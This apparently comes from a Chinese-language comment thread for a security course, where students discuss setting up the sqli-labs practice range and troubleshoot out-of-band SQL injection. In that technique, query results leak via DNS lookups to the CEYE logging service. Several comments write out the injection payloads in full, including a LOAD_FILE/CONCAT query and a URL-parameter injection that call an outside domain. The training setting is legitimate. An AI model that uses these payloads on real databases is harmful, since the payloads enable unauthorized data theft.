搭环境这里有个小坑，老师靶场代码是sqli改的，但咱们环境里没有sqli环境。需要自己去https://github.com/Audi-1/sqli-labs搭建一下，在主界面点setup/resetDB初始化数据库才能用，否则一直提示无法连接security数据库。

老师好，我有一个小疑问，通过域名回显的主要原因是目标服务器没有直接回显漏洞，通过域名可以把回显的内容发送到域名解析服务器；那我自己搭建一个服务器，直接把内容通过 url 如：example.com/{database} ，这样是否也可以，而且还可以发送更多内容。请问这两者有什么隐含的其他区别吗？谢谢！

老师好，请问关于OOB注入攻击涉及到使用CEYE平台的域名记录查询那里的内容都是小写的；这样将得到的数据解码不正确；比如我将base64内容【W215c3FsXQ0KZGVmYXVsdC1jaGFyYWN0ZXItc2V0PXV0ZjgN】通过OOB命令： SELECT LOAD_FILE(CONCAT('\\\\','W215c3FsXQ0KZGVmYXVsdC1jaGFyYWN0ZXItc2V0PXV0ZjgN','自己的CEYE域名\\123'));执行后查看到CEYE平台的DNS Query查询到的结果是【w215c3fsxq0kzgvmyxvsdc1jagfyywn0zxitc2v0pxv0zjgn.自己在CEYE域名】发现结果全是小写的，这样解析出来就是错误的结果【出来使用ASCII()函数转为数字外；还有没有其他的方法？】 注意： mysql转为base64语句：SELECT TO_BASE64('需要转为base64编码的字符串') 将base64编码的字符串转为正常内容语句：SELECT from_base64('base64格式的字符串');

我使用如下语句在hackbar ?id=1' and load_file("\\\\test.自己编码.ceye.io\\xxx.txt") -- - 只成功过一次，相同语句无法再访问出去QAQ本地测试load_file没问题，清空浏览器缓存也无效 是路由器有缓存或者什么其他问题么...哪个大佬成功了求解答...